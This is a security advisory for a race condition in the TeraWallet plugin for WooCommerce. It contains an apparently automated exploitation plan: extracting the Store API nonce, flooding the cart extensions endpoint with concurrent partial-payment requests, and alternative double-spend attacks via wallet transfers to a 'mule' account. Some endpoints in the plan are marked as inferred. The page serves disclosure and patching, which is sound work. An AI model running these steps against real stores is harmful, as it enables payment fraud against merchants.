TeraWallet – For WooCommerce <= 1.5.15 - Authenticated (Customer+) Race Condition
Description
The Wallet for WooCommerce plugin for WordPress is vulnerable to a race condition in all versions up to, and including, 1.5.15. This makes it possible for authenticated attackers, with Custom-level access and above, to perform an unauthorized action.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:NTechnical Details
What Changed in the Fix
Changes introduced in v1.5.16
Source Code
WordPress.org SVN# Exploitation Research Plan: TeraWallet Race Condition (CVE-2026-32398) ## 1. Vulnerability Summary The **Wallet for WooCommerce (TeraWallet)** plugin is vulnerable to a race condition in versions up to 1.5.15. The flaw exists because sensitive operations—specifically **Partial Payments** and **Wa…
Show full research plan
Exploitation Research Plan: TeraWallet Race Condition (CVE-2026-32398)
1. Vulnerability Summary
The Wallet for WooCommerce (TeraWallet) plugin is vulnerable to a race condition in versions up to 1.5.15. The flaw exists because sensitive operations—specifically Partial Payments and Wallet Transfers—do not implement proper concurrency controls (like database-level row locking or atomic transactions) when checking and updating the user's wallet balance. An authenticated attacker can send multiple concurrent requests to these endpoints, allowing them to "double-spend" their balance or apply a total discount to their cart that exceeds their actual wallet balance.
2. Attack Vector Analysis
- Endpoint:
/wp-json/wc/store/v1/cart/extensions(WooCommerce Store API) - Namespace:
apply-partial-payment - Action:
POST - Authentication: Authenticated (Customer or above).
- Preconditions:
- TeraWallet "Partial Payment" must be enabled (default: 'on').
- User must have a non-zero wallet balance (e.g., $10).
- User must have an item in the WooCommerce cart.
- The cart total must be greater than the user's current wallet balance (to ensure the "Partial Payment" UI is active).
3. Code Flow
- Frontend: The React component in
build/partial-payment/index.jsuses theextensionCartUpdatefunction from the WooCommerce Blocks package. - JS Execution: When the "Apply" button is clicked, it calls
s({namespace:"apply-partial-payment",data:{amount:e}}). - API Route: This triggers a
POSTrequest to the WooCommerce Store API endpoint/wp-json/wc/store/v1/cart/extensions. - Backend Sink: The plugin's extension handler (triggered by the
apply-partial-paymentnamespace) reads the current balance usingwoo_wallet()->wallet->get_wallet_balance(). - Race Condition: Because multiple concurrent requests can all execute the "check balance" step before any single request completes the "deduct/apply fee" step, the plugin may apply the discount multiple times or allow multiple deductions from the same initial balance state.
4. Nonce Acquisition Strategy
The WooCommerce Store API requires a specific nonce for state-changing requests (POST).
- Navigate: Use
browser_navigateto the checkout page (/checkout/). - Extract: The nonce is stored in the WooCommerce Blocks settings object.
- JS Variable:
window.wc.wcSettings. - Extraction Command:
browser_eval("window.wc.wcSettings.getSetting('wc-store-api-nonce')") - Context: Also verify the
partial-payment_datalocalized variable:browser_eval("window.wc.wcSettings.getSetting('partial-payment_data')")
5. Exploitation Strategy
Step 1: Prepare Environment
- Create a product and a customer user.
- Credit the user's wallet with a small amount (e.g., $5).
- Add a product costing $100 to the cart.
Step 2: Concurrent API Attacks
Send 20 concurrent POST requests to the cart extensions endpoint.
- URL:
https://TARGET/wp-json/wc/store/v1/cart/extensions - Method:
POST - Headers:
Content-Type: application/jsonX-WC-Store-API-Nonce: [EXTRACTED_NONCE]
- Body:
{ "namespace": "apply-partial-payment", "data": { "amount": "5" } }
Step 3: Verification
Check the cart totals to see if multiple fees were applied.
- URL:
https://TARGET/wp-json/wc/store/v1/cart - Method:
GET - Check: Look at the
feesarray and thetotal_price. If the total discount exceeds $5, the race condition is successful.
6. Test Data Setup
- Create Product:
wp product create --name="Premium Item" --regular_price=100 --status=publish - Create User:
wp user create attacker attacker@example.com --role=customer --user_pass=password - Enable Partial Payment:
wp option patch update _wallet_settings_general is_enable_partial_payment on - Add Wallet Balance:
wp eval "woo_wallet()->wallet->credit(get_user_by('login', 'attacker')->ID, 5, 'Testing Race');" - Add to Cart: Log in as
attackerand add the product to the cart via/?add-to-cart=[ID].
7. Expected Results
- Success: The cart total will show a discount (fee) significantly higher than the $5 balance (e.g., $25 discount if 5 requests succeeded).
- Database State: The user's wallet transactions (
wp_woowallet_transactions) might show multiple deductions that, when summed, exceed the original balance, or the session-based fee in the cart will simply be multiplied.
8. Verification Steps
- Check Cart via CLI:
# Hard to check cart session via CLI, use HTTP GET to Store API - Check Transactions:
wp db query "SELECT * FROM wp_woowallet_transactions WHERE user_id = [ID] ORDER BY transaction_id DESC" - Check User Meta:
wp user meta get [ID] _wallet_balance
9. Alternative Approaches
If the Store API endpoint is not additive (i.e., it overwrites the amount), target the Wallet Transfer functionality:
- Endpoint:
admin-ajax.php - Action:
woo_wallet_transfer(inferred) - Payload:
target_user,amount,_wpnonce. - Strategy: Send concurrent transfers to a second "mule" account. If the attacker has $10 and successfully transfers $10 to the mule 5 times simultaneously, the mule's balance will increase by $50, while the attacker's balance likely only drops to $0 or -$40.
Alternatively, target Sell Content in includes/actions/class-woo-wallet-action-sell-content.php:
- Endpoint:
GET /?purchase_content=[POST_ID] - Strategy: Repeatedly hit this URL concurrently for an expensive post. Check if the balance deduction is only performed once or multiple times (leading to negative balance/profit share inflation).
Summary
The TeraWallet plugin for WooCommerce is vulnerable to a race condition in features like Partial Payments and Sell Content purchases. Because the plugin checks a user's wallet balance and subsequently performs a deduction without atomic transactions or database row locking, multiple concurrent requests can all pass the balance check before any single deduction is finalized, allowing for 'double-spending' or applying discounts that exceed the available balance.
Vulnerable Code
// includes/actions/class-woo-wallet-action-sell-content.php around line 439 public function handle_purchase_content() : void { global $post; if ( isset( $_POST['tw_buy_content_nonce'] ) ) { // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized $amount = isset( $_POST['amount'] ) ? sanitize_text_field( wp_unslash( $_POST['amount'] ) ) : 0; if ( wp_verify_nonce( wp_unslash( $_POST['tw_buy_content_nonce'] ), 'tw_buy_content_nonce_' . $amount ) ) { // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized $user_id = get_current_user_id(); $transient = isset( $_POST['transient'] ) ? sanitize_text_field( wp_unslash( $_POST['transient'] ) ) : md5( 'tw-sell-content' . $post->ID . $user_id . $amount ); $tw_sell_content_amount = floatval( $amount ); // ... balance check and deduction logic follows ... --- // build/partial-payment/index.js (simplified trigger logic) onClick:t=>{t.preventDefault(),w(!0),s({namespace:"apply-partial-payment",data:{amount:e}}).then(()=>{w(!1)})}
Security Fix
@@ -409,7 +409,7 @@ $user_id = get_current_user_id(); ob_start(); ?> <form method="post"> - <?php wp_nonce_field( 'tw_buy_content_nonce_' . $amount, 'tw_buy_content_nonce' ); ?> + <?php wp_nonce_field( 'tw_buy_content_nonce_' . $post->ID . '_' . $user_id . '_' . $amount, 'tw_buy_content_nonce' ); ?> <input type="hidden" name="amount" value="<?php echo esc_attr( $amount ); ?>"> <input type="hidden" name="transient" value="<?php echo esc_attr( md5( 'tw-sell-content' . $post->ID . $user_id . $amount ) ); ?>"> <button type="submit" class="<?php echo esc_attr( $this->settings['button_css_class'] ); ?>"><?php echo esc_html( $this->settings['button_lable'] ); ?></button> @@ -436,13 +441,17 @@ * * @return void */ - public function handle_purchase_content() : void { + public function handle_purchase_content() { global $post; if ( isset( $_POST['tw_buy_content_nonce'] ) ) { // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized - $amount = isset( $_POST['amount'] ) ? sanitize_text_field( wp_unslash( $_POST['amount'] ) ) : 0; - if ( wp_verify_nonce( wp_unslash( $_POST['tw_buy_content_nonce'] ), 'tw_buy_content_nonce_' . $amount ) ) { // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized - $user_id = get_current_user_id(); - $transient = isset( $_POST['transient'] ) ? sanitize_text_field( wp_unslash( $_POST['transient'] ) ) : md5( 'tw-sell-content' . $post->ID . $user_id . $amount ); + if ( ! is_user_logged_in() ) { + return; + } + $amount = isset( $_POST['amount'] ) ? sanitize_text_field( wp_unslash( $_POST['amount'] ) ) : 0; + $user_id = get_current_user_id(); + // Verify nonce bound to post ID, user ID and amount. + if ( wp_verify_nonce( wp_unslash( $_POST['tw_buy_content_nonce'] ), 'tw_buy_content_nonce_' . $post->ID . '_' . $user_id . '_' . $amount ) ) { // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized + $transient = md5( 'tw-sell-content' . $post->ID . $user_id . $amount ); $tw_sell_content_amount = floatval( $amount );
Exploit Outline
The exploit requires a Customer-level account with a small amount of wallet credit. 1. Authenticate as the customer and add an item to the WooCommerce cart. 2. Capture the 'X-WC-Store-API-Nonce' from the checkout page (available in window.wc.wcSettings). 3. Send a flood of concurrent POST requests to /wp-json/wc/store/v1/cart/extensions using the 'apply-partial-payment' namespace, specifying an amount equal to the user's total balance in the payload. 4. Due to the race condition, multiple requests will pass the initial balance check before the first deduction is recorded, resulting in multiple applications of the balance as a discount, effectively exceeding the user's actual credit.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.